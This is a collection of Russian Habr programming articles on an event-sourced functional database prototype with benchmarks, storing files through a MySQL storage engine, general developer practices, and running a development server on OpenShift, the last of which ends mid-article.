Проработав достаточно долго с различным бизнес-ПО (системы учета, планирования, WMS), практически везде сталкивался с двумя проблемами — сложность внесения изменений в схему данных, и частое падение производительности, когда эти изменения таки вносились. Вообще, эти системы имеют сложную структуру, поскольку к ним предъявляются противоречивые требования:
**1) Аудируемость.** Нужно хранить все первичные документы в неизменном виде. Разделение на справочники и операции весьма условно, во взрослых системах справочники огранизованы с версионированием, где каждое изменение оформляется специальным документом. Таким образом, исходные документы — это иммутабельная часть системы, и она является единственным «источником правды», а все остальные данные могут быть восстановлены из нее.
**2) Производительность запросов.** Например, при создании строки заказа на продажу система должна рассчитать цену товара с учетом скидок, для чего необходимо извлечь статус клиента, его текущий баланс, историю покупок, текущие акции в регионе, и т.д. Естественно, вся необходимая информация не может быть вычислена «на лету», а должна быть доступной в полу-готовом виде. Поэтому существующие системы хранят удобные абстракции над строками документов (проводки), а также заранее рассчитанные агрегаты (регистры накопления, временные срезы, текущие остатки, сводные проводки, и т.д.). Их объем составляет до 80% размера БД, структура таблиц жестко фиксирована, при любых изменениях в алгоритмах — программист должен позаботиться о правильном обновлении агрегатов. По сути агрегаты это и есть мутабельное состояние системы.
**3) Транзакционная производительность.** При проведении любого документа нужно пересчитать все агретаты, а это обычно блокирующая операция. Поэтому алгоритмы обновления агрегатов — самая болезненная точка системы, и при внесении большого количества изменений имеется существенный риск что-то сломать, и тогда данные «разъедутся», то есть агрегаты перестанут соответствовать документам. Эта ситуация — бич всех проектов внедрения и последующей поддержки.
#### Устанавливаем основы новой архитектуры
**1) Хранение.** Основа БД — хронологически упорядоченный журнал документов, отражающих свершившиеся факты реального мира. Справочники это тоже документы, просто длительного действия. И документ, и каждая версия записи справочника — иммутабельны. Никаких других данных в виде проводок / регистров / остатков в системе не хранится (сильное провокационное утверждение, в жизни бывает по разному, но нужно стремиться к [совершенству](http://lurkmore.to/%D0%A1%D1%84%D0%B5%D1%80%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%BA%D0%BE%D0%BD%D1%8C_%D0%B2_%D0%B2%D0%B0%D0%BA%D1%83%D1%83%D0%BC%D0%B5)). Документ имеет ряд системных атрибутов:
```
{
"sys": {
"code": "partner.1", // человеко-читаемый код, идентификатор группы
"ts": 1578263624612, // временная метка записи
"id": "partner.1^1578263624612", // составной уникальный глобальный ID
"cache": 1 // признак необходимости принудительного кэширования
},
...
}
```
Документы с одинаковым *code* и разными *ts* образуют историческую группу, где актуальной считается последняя запись, остальные — историческими. Если установлен атрибут *cache*, последняя запись из группы попадают в так называемый топ-кэш, и одновременно все записи попадают в фулл-кэш, таким образом мы можем быстро извлечь запись справочника как по *id*, так и по *code*.
Документы могут дописываться в конец журнала, и никогда в середину. Изменение или удаление (отмена) старого документа — это всегда новый документ, записываемый в журнал с текущим *ts*. Таким образом, причинно-следственная связь определяется положением документа в журнале, скачки в прошлое или будущее запрещены (при этом даты принятия к учету, даты исполнения планов могут быть любыми, но с точки зрения ядра системы это просто атрибуты).
**2) Связи.** Документы могут ссылаться друг на друга по *id*. В отличие от «sql foreign key» — указывать тип сущности, на которую ссылаемся, нет необходимости, так как сущности лежат вперемешку, а *id* уникален. Связи от ранних документов к более поздним запрещены. Это означает, что в любом пользовательском алгоритме при обработке текущего документа могут быть востребованы связанные документы, уже встречавшиеся в выборке ранее (и по идее они должны быть кэшированы — либо ядром, либо пользовательским алгоритмом).
**3) Горизонт иммутабельности.** Часть документов, с которыми ведется активная работа (т.н. открытые документы) не может быть зафиксирована, поэтому вводится понятие горизонта иммутабельности, а база данных разделяется на 2 физических хранилища — **иммутабельное хранилище** и **текущее хранилище**. Все документы в первом хранилище имеют временную метку меньше горизонта, они неизменны, а результаты всех сверток кэшируются и переиспользуются. Все что позднее — называется текущим периодом, и при каждом запросе второе хранилище сканируется заново. Такая схема дает линейное время. Горизонт иммутабельности — термин, хорошо знакомый коллегам из 1С, и бухгалтерам. Производительность системы зависит исключительно от размера ~~бардака~~ текущего периода, и в этом вопросе мировая бизнес-практика беспощадна — чем он меньше, тем лучше.
**4) Алгоритмы.** Журнал документов может храниться в любом виде — последовательный файл, документная БД, таблица РСУБД, поступать из внешнего стрима — главное чтобы они были извлекаемы в прямом либо обратном хронологическом порядке. Любой бизнес-алгоритм — это композиция функций filter(), reduce(), get(), gettop(), примененная к потоку документов. Ввиду отсутствия семантики JOIN, у пользователя остается возможность использовать вложенные подзапросы к БД, либо пытаться ограничиться одним проходом, помещая в пользовательский кэш все, что может потребоваться в будущем. Естественно, помогает системный кэш, хранящий как отдельные документы, к которым уже были запросы по *id / code*, так и результаты расчетов, выполненных ранее (при полном совпадении входных параметров этих расчетов).
**5) Мемоизация**, или кэширование. Результаты запросов и расчетов попадают в кэш в случаях:
* документ имеет атрибут *cache*, при первом *reduce()* он записывается в фулл-кэш, и обновляет запись в топ-кэше;
* документ извлечен запросом по *id / code*, и он находится в иммутабельном хранилище;
* *reduce()* завершил расчет по иммутабельному хранилищу, промежуточный результат клонируется и записывается в кэш, а расчет продолжается по текущему хранилищу.
Мы видим, что в отличие от жестко-структурированного «кэша» в системах, основанных на РСУБД, мы имеем адаптивный кэш, наполняемый по мере работы системы. Необходимость экономить память заставляет ограничивать объем кэшируемой информации, поэтому, например, результат функции *filter()* не кэшируется, а результат *reduce()* — обязательно. Пользователю даются ограниченные инструменты управления кэшем.
**6) Поиск** бывает 3-х видов. Первый — когда при обработке текущего документа нам нужно найти несколько связанных документов по неточным критериям. В этом случае либо подзапрос, либо в своем *reduce()* заранее сохраням все что может потенциально потребоваться, и когда потребовалось — ищем в этой выборке. Второй вид поиска — когда нам нужно получить актуальные элементы справочника, без исторических данных (т.н. текущий срез). В этом случае используется топ-кэш, который как раз хранит такие элементы. В третьем случае это fullscan по базе в обратной хронологической последовательности. Насколько целесообразно кэшировать результаты пользовательских поисков — вопрос дискуссионный, в какой-то мере очевидно необходимо, например с ограничением объема выборки.
**7) Добавление документов и перемещение горизонта.** При добавлении нового документа актуализируется только топ-кэш. При перемещении документа из текущего хранилища в иммутабельное — по идее нужно до-обновить все кэшированные агрегаты, эта операция тяжелая (зависит от количества переносимых документов и количества результатов в кэше), и должна выполняться по аналогии с закрытием учетного периода — в часы наименьшей нагрузки.
#### Простая функциональная СУБД
Итак, попробуем что-нибудь написать. Язык TypeScript выбран за идеальное сочетание скриптового динамизма и типизации, рантайм [Deno](https://deno.land/) — за удобную поддержку TypeScript и [WASM](https://deno.land/std/manual.md#wasm-support), а также наличия [Rust API](https://docs.rs/crate/deno), что теоретически дает нам шанс ускорить некоторые алгоритмы (хотя это неточно).
Документы в нашей СУБД будут храниться в виде 2-х последовательных файлов, содержащих объекты JSON, разделенные символом "\*x01*", так как это позволяет написать быстрый потоковый парсер. API чтения состоит пока всего из 3-х функций:
```
type Document = any
type Result = any
public async get(id: string): Promise
public async gettop(code: string): Promise
public async reduce(
filter: (result: Result, doc: Document) => Promise,
reducer: (result: Result, doc: Document) => Promise,
result: Result
): Promise
```
Первая функция возвращает документ по *id*, вторая возвращает последний документ с заданным *code*, третья осуществляет фильтрацию и свертку, принимая на вход функцию фильтрации, функцию свертки и начальное значение аккумулятора. Мы сознательно не использовуем цепочку *filter().reduce()*, так как хотим кэшировать итоговый результат, а в случае цепочки — кэшировать отдельно результат фильтрации расточительно, а кэшировать результат свертки без знания условий фильтрации — бессмысленно. Поэтому *reduce()* получает на вход сразу все необходимое для расчета, и использует составной хэш от трех параметров в качестве ключа мемоизации.
Собственно, весь пользовательский алгортм представляет собой реализацию колбэков *filter* и *reducer*, а аккумулятор-результат может быть любым сериализуемым объектом. Обратите внимание, что оба колбэка возвращают промис, то есть внутри них разрешены вложенные запросы *get()* и *reduce()*. Благодаря промисам вложенный цикл (например по строкам текущего документ) можно параллелить (см. второй тест).
#### Исходные данные
Рассмотрим простейшую систему учета покупок и продаж. Нам нужны справочники контрагентов и номенклатур, а также документы покупки и продажи. Если мы хотим считать себестоимость расходов и маржу, нужен еще один документ — сопоставление приходов с расходами, но это уже тема отдельной статьи.
**Партнеры и номенклатуры**
```
{
"sys": {
"code": "partner.1",
"ts": 1578263624612,
"id": "partner.1^1578263624612",
"cache": 1
},
"type": "partner.retail",
"name": "Рога и копыта ООО"
}
{
"sys": {
"code": "invent.1",
"ts": 1578263624612,
"id": "invent.1^1578263624612",
"cache": 1
},
"type": "invent.material",
"name": "Гвоздь строительный 20мм"
}
```
Атрибут *type* — пользовательский, его иерархия никак не используется ядром, а лишь в пользовательских алгоритмах. Также не имеет значение семантика атрибута *code* — для ядра это просто строка.
**Покупки и продажи**
```
{
"sys": {
"code": "purch.1",
"ts": 1578263624613,
"id": "purch.1^1578263624613"
},
"type": "purch",
"date": "2020-01-07",
"partner": "partner.3^1578263624612",
"lines": [
{
"invent": "invent.0^1578263624612",
"qty": 2,
"price": 232.62838134273366
},
{
"invent": "invent.1^1578263624917",
"qty": 24,
"price": 174.0459600393788
}
]
}
```
Документы отличаются только типом (*purch | sale*), cтроки хранятся прямо в документе (в реляционной схеме они лежали бы в отдельной таблице).
#### Реализация алгоритмов
**Анализ продаж**
Считаем общую сумму продаж, средний чек, и среднее количество строк на документ.
```
import { FuncDB } from './FuncDB.ts'
const db = FuncDB.open('./sample_database/')
let res = await db.reduce(
async (_, doc) => doc.type == 'sale', // фильтруем только продажи
async (result, doc) => {
result.doccou++
doc.lines.forEach(line => { // цикл по строкам документа
result.linecou++
result.amount += line.price * line.qty
})
},
{amount: 0, doccou: 0, linecou: 0} // инициализируем аккумулятор
)
console.log(`
amount total = ${res.amount}
amount per document = ${res.amount / res.doccou}
lines per document = ${res.linecou / res.doccou}`
)
```
**Обороты в разрезе номенклатур и партнеров**
По сути это сводная таблица, поэтому в качестве аккумулятора используем Map.
```
class ResultRow { // строка результирующей таблицы
invent_name = ''
partner_name = ''
debit_qty = 0
debit_amount = 0
credit_qty = 0
credit_amount = 0
}
let res = await db.reduce(
async (_, doc) => doc.type == 'purch' || doc.type == 'sale',
async (result, doc) => {
// поскольку внутри цикла у нас await - параллелим обработку строк
const promises = doc.lines.map(async (line) => {
const key = line.invent + doc.partner
let row = result.get(key)
if (row === undefined) {
row = new ResultRow()
// наименования получаем подзапросами к базе (они кэшируются)
row.invent_name = (await db.get(line.invent))?.name ?? ' not found'
row.partner_name = (await db.get(doc.partner))?.name ?? ' not found'
result.set(key, row)
}
if (doc.type == 'purch') {
row.debit_qty += line.qty
row.debit_amount += line.qty * line.price
} else if (doc.type == 'sale') {
row.credit_qty += line.qty
row.credit_amount += line.qty * line.price
}
})
await Promise.all(promises)
},
new Map() // результирующая таблица (аккумулятор)
)
```
Мы видим, что почти половину кода составляет извлечение наименований подзапросами. Это легко исправить, написав сервисную функцию, но для общего понимания оставлю так. Обратите внимание, что мы параллелим обработку строк — в случае если номенклатуры нет в кэше — запускается fullscan, результата которого в нашем случае ждать необязательно.
#### Бенчмаркинг
Тестируем на сгенерированных данных:
**иммутабельное хранилище**: 100 номенклатур + 100 контрагентов + **100 тыс.** документов
**текущее хранилище**: 10 номенклатур + 10 контрагентов + **10 тыс.** документов
Использую доисторический ноутбук с процессором *Intel Celeron CPU N2830 @ 2.16 GHz*
**[В первом тесте](https://github.com/balajahe/FuncDB/blob/0.0.01.article1/FuncDB.deno/sample1_sales_analysis.ts)** демонстрируем кэширование — сначала запускаем анализ продаж, затем добавляем новый документ продажи, и снова запускаем расчет. Видно что второй раз иммутабельное хранилище не обрабатывается, и расчет происходит в 10 раз быстрее.
**Результаты - 100 тыс. документов за 11.1 секунды:***file: database\_immutable.json:
100200 docs parsed (0 errors)
50018 docs processed (0 errors)
**11.098s** elapsed
file: database\_current.json:
10020 docs parsed (0 errors)
4987 docs processed (0 errors)
**1.036s** elapsed
amount total = 623422871.2641689
amount per document = 11389.839613851627
lines per document = 3.6682561432355896
file: database\_current.json:
10021 docs parsed (0 errors)
4988 docs processed (0 errors)
**1.034s** elapsed
amount total = 623433860.2641689
amount per document = 11389.832290707558
lines per document = 3.6682073954983925*
Если честно, я рассчитывал минимум на миллион документов в секунду. Разберемся, где у нас основная задержка на примере обработки первого файла:
**8.8s** — чтение файла и извлечение строковых JSON, разделенных символом "\*x01*"
**1.9s** — парсинг JSON в объекты
**0.4s** — кэширование + пользовательский алгоритм
Заглянув в [исходники Deno](https://deno.land/std/io/bufio.ts), я понял, основная задержка возникает при декодировании unicode, ведь V8 в качестве байто-дробилки подходит плохо. Это значит, что переписать критические куски на WASM/Rust будет очень просто, а если в качестве хранилища использовать нормальную объектную БД, то и парсинга JSON можно избежать, и тогда достичь миллиона записей в секунду — более чем реально. И это я не говорю про нормальное железо.
**[Второй тест](https://github.com/balajahe/FuncDB/blob/0.0.01.article1/FuncDB.deno/sample2_invent_turnover_balance.ts)** мы запускаем сначала на свеже-сгенерированной базе, затем после прогона первого теста. Второй раз производительность упала в 3 раза, потому что в первом тесте мы добавили документ продажи, ссылающийся на несуществующего партнера и номенклатуру, и, не найдя их в кэше, система вынуждена дважды запускать fullscan. Но эта ситуация по сути аварийная, а нормальная выглядит так:
**Результаты - 100 тыс. документов за 13.3 секунды:***file: database\_immutable.json:
100200 docs parsed (0 errors)
100000 docs processed (0 errors)
**13.307s** elapsed
file: database\_current.json:
10020 docs parsed (0 errors)
10000 docs processed (0 errors)
**1.296s** elapsed*
invent name | partner name | debet qty | debet amount | credit qty | credit amount | balance amount
===========================================================================
invent 92 | partner 50 | 164 | 34795.53690513125 | 338 | 64322.24591475369 | -29526.709009622435
invent 44 | partner 32 | 285 | 57382.115033253926 | 209 | 43572.164405352596 | 13809.95062790133
invent 95 | partner 32 | 340 | 73377.08274368728 | 205 | 42007.69685305944 | 31369.38589062784
invent 73 | partner 32 | 325 | 57874.269249290744 | 300 | 58047.56414301135 | -173.29489372060198
invent 39 | partner 32 | 333 | 69749.88883753444 | 415 | 86369.07805766111 | -16619.189220126675
invent 80 | partner 49 | 388 | 74965.03809449819 | 279 | 51438.03787960939 | 23527.0002148888
invent 99 | partner 49 | 337 | 69360.84770099446 | 292 | 58521.2605634746 | 10839.587137519862
invent 38 | partner 45 | 302 | 63933.21291162898 | 217 | 44866.95192796074 | 19066.26098366824
invent 34 | partner 45 | 343 | 69539.75051653324 | 205 | 41155.65340219566 | 28384.09711433758
invent 41 | partner 45 | 278 | 63474.209440233106 | 258 | 45246.446456763035 | 18227.76298347007
< tail skipped >
Наконец-то пошла рабочая нагрузка, мы делаем 2 вложенных асинхронных запроса, и получаем затраты на пользовательский алгоритм — **2.6s**. Допускаю, что оборачивание любой функции в промис накладно, а в нашем случае запрос к кэшу выполняется синхронно, и возможно это место стоит оптимизировать.
#### Резюме
В целом я доволен результатом, схема получилась вполне рабочая, проект можно развивать, если у кого есть мысли — пишите. Буду благодарен за ссылку на публичные обфусцированные данные, приближенные к реальности ([счета-фактуры](https://www.diadoc.ru/docs/e-invoice), [EDI](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BE%D0%B1%D0%BC%D0%B5%D0%BD_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%BC%D0%B8), или что-то подобное), необходимые для полноценного тестирования.
**[Полный код на гитхабе](https://github.com/balajahe/FuncDB/tree/0.0.01.article1/FuncDB.deno)**
**UPD**
**1)** [Статья в тему](https://martinfowler.com/eaaDev/EventSourcing.html), благодарность [VolCh](https://habr.com/ru/users/volch/) за наводку.
**2)** Аналогичный подход реализован в [CouchDB](https://ru.wikipedia.org/wiki/CouchDB), благодарность [apapacy](https://habr.com/ru/users/apapacy/) за наводку.
**PS**
[**Продолжение тут**](https://habr.com/ru/post/485508/) | https://habr.com/ru/post/482938/ | null | ru | null |
# Хранение файлов в MySQL и их быстрая раздача
Думаю у многих возникала необходимость хранить файлы, связанные с записью в таблице. Это может быть картинка к новости, аватар, загруженный пользователем файл — да все, что угодно. Обычно в этому случае поступают просто — файл ложится в файловую систему, а ссылка на него — в запись БД.
Но у такого классического похода множество недостатков:
* файлы не удаляются при удалении соответствующей записи БД
* проблемы при одновременной попытке обновления файла
* нарушение синхронизации между БД и файловой системой при откате транзакции
* при резервном копировании и восстановлении информации в БД может возникнуть рассинхронизация с файловой системой
* файлы не подчиняются ограничениям доступа, наложенным с помощью БД
Больше о проблемах, возникающих при хранении файлов отдельно от БД можно почитать в презентации [SQL Antipatterns](http://www.scribd.com/doc/2670985/SQL-Antipatterns), раздел Phantom Files, страница 60. Кстати, автор презентации предлагает решение — хранить файлы прямо в БД, в поле типа BLOB. Правда следует замечание, что это должно быть взвешенное решение в каждом конкретном случае. Ведь при таком способе хранения файлов вебсервер должен при каждом запросе вызывать некий скрипт, который будет извлекать файл из БД и отдавать пользователю, что неминуемо отрицательно скажется на производительности.
Для поиска решения данной проблемы был проведен мозговой штурм и придумано несколько вариантов решения проблемы:
1. Перед удалением записи делать SELECT с тем же условием и получать имена файлов, которые надо удалить. Проблема в том, что если удаляемых файлов много, эта операция может занять некоторое время и по хорошему на это время надо блокировать таблицу на чтение и запись, а во многих случаях это недопустимо.
2. Перед удалением устанавливать у удаляемых записей метку «подлежит удалению», получить все записи с этой меткой и удалить файлы, связанные с этими записями, и наконец удалить все записи с этой меткой. Запросы, работающие с этой таблицей следует доработать, чтобы они не выбирали записи с установленным флагом. Недостатки — необходимость правки множества запросов, к тому же у нас в проекте записи на удаление отбираются достаточно сложным SELECT, которые нельзя переделать в один UPDATE.
3. Первые два способа пытаются решить проблему «потерянных» файлов при удалении записей в БД, которая возникает при «классическом» способе хранения файлов, однако они не решают остальных проблем такого подхода, поэтому мы попытались придумать решения, использующие положительные моменты хранения файлов прямо в БД и избавиться от недостатков, присущих этому подходу.
4. Использовать [триггеры](http://ru.wikipedia.org/wiki/Триггер_(базы_данных)). К сожалению, MySQL не имеет в своем языке поддержки команд работы с файлами, такие команды пришлось бы реализовывать самостоятельно, ковыряясь в исходниках MySQL. Из минусов — файлы должны храниться на том же хосте, что и БД, необходимость доработки MySQL, таких готовых решений мы не нашли.
5. Хранить файлы в БД, но отдавать их напрямую вебсервером, без участия PHP. Реализовать это можно, написав модуль к вебсерверу (nginx например) который позволял бы отдавать файлы напрямую из MySQL или применив драйвер файловой системы [MySQLfs](http://www.linux.com/feature/127055). Такой подход решает все перечисленные выше проблемы, но его недостаток — дополнительные накладные расходы на хранение файлов в MySQL.
6. Специализированный Storage Engine для MySQL, хранящий записи как файлы.
Остановимся более подробно а последнем пункте. Ведь что собой представляет файловая система — это специализированная БД, которая по ключу «имя файла» позволяет получить запись — его содержимое. То есть можно реализовать свой механизм хранения данных для MySQL, в котором каждая запись будет иметь три поля:
> `CREATE TABLE `data_storage`.`files` (
>
> `id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY ,
>
> `path` VARCHAR( 255 ) ,
>
> `data` BLOB
>
> ) ENGINE = FILES`
Вставлять данные в такую таблицу можно только в поле `data`, при этом они просто сохраняются в файл, уникальное имя ему при этом генерируется автоматически (используя в качестве префикса поле `id`) — например 764533, а в поле `path` автоматически подставляется правильный путь, по которому MySQL положил наши данные — например '/mnt/storage/mysqldata/76/45/33/764533\_myfile.jpg'. Таким образом к данным, сохраненным в такой таблице можно обращаться как к простым файлам, и при этом MySQL будет поддерживать целостность данных. Таким образом этот способ хранения файлов лишен практически всех недостатков классического подхода (кроме ограничения доступа, но и его можно сделать используя простой скрипт и заголовок [X-Accel-Redirect](http://blog.kovyrin.net/2006/11/01/nginx-x-accel-redirect-php-rails/lang/ru/) nginx) и в то же время никак не уменьшает производительность при отдаче файлов клиентам.
Проблема за малым — не удалось найти готовой реализации такого движка хранения данных для MySQL, хотя идея общем то простая. Возможно кто-то из хабролюдей подскажет ссылку на готовую реализацию такого storage engine, идея ведь плавает на поверхности, и ее точно кто-то уже мог реализовать.
Статья написана в соавторстве с [viperet](https://habrahabr.ru/users/viperet/)
P.S. перенес в блог MySQL | https://habr.com/ru/post/45966/ | null | ru | null |
# 19 вещей, которым я научился у лучших разработчиков
Следуйте правилу трёх
---------------------
Это правило, применимое к рефакторингу кода, когда повторяющийся участок кода, должен быть заменён, новым кодом/процедурой/методом.
> Оно говорит нам о том, что вы можете копипастить код только один раз, но когда тот же самый код повторяется три раза, он должен быть вынесен в отдельную процедуру.
>
>
Основная концепция - сделать код/процедуру/метод достаточно обобщенным, для использования в разных частях проекта.
---
Последовательность в написании кода крайне важна
------------------------------------------------
Будьте последовательны в структуре своего кода и в том, как вы его пишете. Это значительно упростит его читаемость и работу с ним.
Старайтесь придерживаться набора правил, который поможет вам быть последовательным. Следует разработать хотя бы соглашение о том, как вы именуете переменные.
Другое значимое правило - это структура вашего приложения. Она должна быть очевидна для разработчика, который планирует изменять код или расширять его функционал.
---
Сокращайте вложенность
----------------------
Оператор `if` внутри оператора `if` может быстро стать трудночитаемым. Все мы сталкивались с ситуациями, когда упростить подобную конструкцию невозможно. Но нужно стремиться к простоте.
Это же относится и к `else if` . Избегайте `if` всякий раз, когда это возможно. Данный оператор увеличивает ветвление кода, а значит, усложняет его.
**Граничный оператор** (guard clause) является действенным методом решить данную проблему.
> Граничный оператор - это просто проверка, которая мгновенно делает либо возврат из функции, либо вызывает исключение.
>
>
**Без** **граничного** оператора:
```
if (account != null)
{
if (order != null)
{
if (order.term == Term.Annually)
{
// term annually
}
else if (order.term == Term.Monthly)
{
// term monthly
}
else
{
throw new InvalidEnumArgumentException(nameof(term));
}
}
else
{
throw new ArgumentNullException(nameof(subscription));
}
}
```
**С** **граничным** оператором:
```
if (account == null)
{
throw new ArgumentNullException(nameof(account));
}
if (order == null)
{
throw new ArgumentNullException(nameof(order));
}
if (order.term == Term.Annually)
{
// term annually (return here)
}
if (order.term == Term.Monthly)
{
// term monthly (return here)
}
throw new InvalidEnumArgumentException(nameof(order.term));
```
---
Думайте о проекте целиком
-------------------------
Понимание всего проекта, или хотя бы той его части, которая взаимодействует с вашим кодом - очень важно. Оно значительно упрощает работу с мелкими деталями. Если вы понимаете, как проект работает, то работа с его компонентами занимает гораздо меньше времени.
---
Прикладывайте усилие к именованию переменных
--------------------------------------------
Грамотное именование переменных - это одна из тяжелейших вещей, которые вы можете делать в программировании. Это может быть именование как класса, так и функции(метода) и даже переменной.
Первоклассные разработчики инвестируют время в именование, потому что они знают, что в будущем эти усилия окупятся сполна.
---
Следите за техническим долгом
-----------------------------
Каждый раз, когда вы увеличиваете технический долг, подумайте о том, к чему это может привести и о том, как его потом возвращать. Скорее всего, имеет смысл приложить чуть больше усилий прямо сейчас, чем потерять значительное количество времени в дальнейшем.
> Технический долг - это концепция в программировании, которая отражает неявную цену дополнительной работы, вызванной выбором более легкого решения, вместо использования лучшего подхода, реализация которого займёт больше времени.
>
>
---
Переоценивайте сложность задачи
-------------------------------
Совет может показаться странным и, в зависимости от того, в какой команде вы работаете, вам может не понравиться этот пункт. Правда в том, что выдающиеся разработчики всегда переоценивают сложность задач, так как они знают, что реализация всегда занимает больше времени, чем изначально предполагается, а добавление некого буфера к оценке, может помочь вам сделать вещи правильно.
Этот совет может сильно помочь с [вышеупомянутым пунктом](#debt). Если вы недооцениваете задачу или рассматриваете только благоприятный сценарий, то это неизбежно приводит к увеличению технического долга. У вас хватит времени только на реализацию быстрого решения, вместо правильного.
---
Документируйте и комментируйте код
----------------------------------
Документация и комментарии помогают сохранять контекст и делиться знаниями. Опытные разработчики чаще других предлагают задокументировать какой-либо процесс. Они постоянно заставляют коллег добавлять комментарии в код.
---
Удаляйте плохой код без колебаний
---------------------------------
Вы будете часто видеть, как неуверенные разработчики закомменчивают огромные блоки кода и оставляют их. Для этой цели есть Git! Первоклассные программисты без малейших колебаний избавляются от кода, который они считают ненужным.
---
Тратьте время на ревью кода
---------------------------
Хороший разработчик всегда найдёт время на ревью кода, так как понимает всю значимость этого процесса.
Ревью помогает:
* Находить баги как можно раньше
* Улучшать навыки разработчиков и следовать хорошим практикам
* Делиться знаниями
* Последовательно разрабатывать и реализовывать проект
Самый лучший процесс ревью кода, который я видел:
* **Небольшая задача с маленьким** **риском** должна быть проверена одним разработчиком.
* **Средняя/большая, либо сопряженная с рисками задача** должна быть проверена тремя разработчиками, один из которых - сеньор.
* **Чрезвычайно рискованная задача, либо новая часть приложения** должна быть одобрена по итогам встречи трёх разработчиков, один из которых является ведущим. Они проверяют каждую строчку кода и делают заметки.
---
Пишите хорошие тесты
--------------------
Опытные разработчики тратят больше времени на написание хороших тестов.
Грамотно написанные тесты позволяют вам уверенно расширять ваше приложение, снижая число багов в продакшене.
---
Уделяйте время планированию
---------------------------
До того как погрузиться в код, подумайте о его структуре. Разбейте задачу на маленькие блоки. Это поможет достичь лучшей архитектуры, взаимодействия компонентов и приведет к более чистому коду.
---
Фокусируйтесь на базовых вещах, а не на синтаксисе
--------------------------------------------------
Это очень важный пункт! Опытные разработчики предпочитают учить основы, вместо излишней сфокусированности на синтаксисе. Такой подход способствует эффективному решению проблем, а также позволяет задавать гуглу правильные вопросы.
---
Гугл - ваш лучший друг
----------------------
Профессиональные программисты - эксперты в гуглении. Они знают основы, вследствие чего формируют правильные запросы, таким образом, решая любые задачи, которые перед ними стоят.
---
Сначала сделайте работоспособный черновой прототип, а уже потом переписывайте его начисто
-----------------------------------------------------------------------------------------
Часто случается, что неопытные разработчики тратят слишком много времени на то, чтобы с самого начала сделать код красивым и правильным. А потом понимают, что решение неверно, и его нужно переписать.
Профессиональные разработчики же, напротив, не думают о том, как выглядит их код. Но ровно до тех пор, пока задача не выполнена. Таким образом, они избегают временных затрат на бесполезную работу.
---
Управляйте рисками и решайте проблемы
-------------------------------------
Этот пункт вытекает из обширного практического опыта и не может быть приобретён быстро. Именно здесь сеньорство проявляет себя в большей степени.
Сеньоры могут определять риски, а также решать комплексные проблемы либо с помощью применения паттернов программирования, либо пользуясь предыдущим опытом.
---
Задавайте вопросы
-----------------
По-настоящему крутые разработчики хотят знать всё. Они не стесняются задавать даже глупые вопросы, как технические, так и относящиеся к бизнесу.
Понимание бизнеса помогает им писать лучший код. Профи будут задавать вопросы в случае неуверенности в своих компетенциях.
---
Выносите логику из баз данных там, где это возможно
---------------------------------------------------
Этот пункт зависит от типа приложения, с которым вы работаете, и применим только в том случае, когда от него не зависит производительность.
Отличные разработчики держат запросы к базам данных в рамках простых операций CRUD.
Затем, на уровне бизнес-логики, эти запросы собираются воедино. Таким образом, бизнес-логика находится в одном месте, избегая запутанных схем.
---
Keep It Simple Stupid (KISS)
----------------------------
Профи знают, что одна из ключевых задач первоклассного программиста - упрощать код настолько, насколько это только возможно. Вы можете увидеть значительное количество новичков, которые хвастаются однострочными решениями, вроде такого:
```
return dir.Keys.Any(k => k >= limit) ? dir.First(x => x.Key >= limit).Value : dir[dir.Keys.Max()];
```
И вроде бы код работает, но обслужить его очень тяжело...
---
Заключение
----------
Все вышеизложенные практики были почерпнуты мною у самых выдающихся программистов, с которыми я работал. Как вы видите, секрет их профессионализма по большей части заключается в парадигмах и подходах, которыми они оперируют. Я уверен, что этот список можно ещё долго продолжать.
Надеюсь, что вы почерпнули для себя что-то новое! | https://habr.com/ru/post/539198/ | null | ru | null |
# Современные приложения на OpenShift, часть 3: OpenShift как среда разработки и конвейеры OpenShift Pipelines
Привет всем в этом блоге! С вами третий пост из серии, в которой мы показываем, как развертывать современные веб-приложения на Red Hat OpenShift.
В двух предыдущих постах мы рассказали, как развертывать современные веб-приложения всего за несколько шагов и как использовать новый образ S2I вместе с готовым образом HTTP-сервера, например, NGINX с помощь связанных сборок chained builds для организации продакшн-развертывания.
Сегодня мы покажем, как запустить на платформе OpenShift сервер разработки для своего приложения и синхронизировать его с локальной файловой системой, а также поговорим о том, что такое OpenShift Pipelines и как можно применять в качестве альтернативы связанным сборкам.
### OpenShift как среда разработки
#### Рабочий процесс разработки (development workflow)
Как уже говорилось в [первом посте](https://habr.com/ru/company/redhatrussia/blog/511954/), типовой процесс разработки для современных веб-приложений – это просто некий «сервер разработки», который отслеживает изменения в локальных файлах. Когда они происходят, запускается сборка приложения, а затем оно обновляется в браузер.
В большинстве современных фреймворков такой «сервер разработки» встроен в соответствующие инструменты командной строки.
#### Локальный пример
Для начала посмотрим, как это работает в случае локального запуска приложений. В качестве примера возьмем приложение [React](https://github.com/lholmquist/react-web-app) из предыдущих статей, хотя практически те же концепции рабочего процесса применяются и во всех других современных фреймворках.
Итак, чтобы запустить «сервер разработки» в нашем примере с React, введем следующую команду:
```
$ npm run start
```
Тогда в окне терминала мы увидим примерно следующее:
А наше приложение откроется в браузере по умолчанию:
Теперь, если мы внесем изменения в файл, то приложение должно обновиться в браузере.
OK, с разработкой в локальном режиме все ясно, а как добиться такого же на OpenShift?
#### Сервер разработки на OpenShift
Если помните, в [предыдущем посте](https://habr.com/ru/company/redhatrussia/blog/513948/), мы разбирали так называемый этап запуска (run phase) образа S2I и увидели, что по умолчанию обслуживанием нашего веб-приложения занимается модуль serve.
Однако если внимательнее взглянуть [run script](https://github.com/nodeshift/ubi8-s2i-web-app/blob/master/s2i/run#L10) из того примера, то в нем есть переменная окружения $NPM\_RUN, которая позволяет выполнить и свою команду.
Например, можно использовать модуль nodeshift, чтобы развернуть наше приложение:
```
$ npx nodeshift --deploy.env NPM_RUN="yarn start" --dockerImage=nodeshift/ubi8-s2i-web-app
```
*Примечание: пример выше приводится в сокращенном виде для того, чтобы проиллюстрировать общую идею.*
Здесь мы добавили в наше развертывание переменную окружения NPM\_RUN, которая говорит этапу исполнения, что он должен запустить команду yarn start, которая стартует сервер разработки React внутри нашего pod-а OpenShift.
Если посмотреть лог работающего pod-а, то там будет примерно следующее:
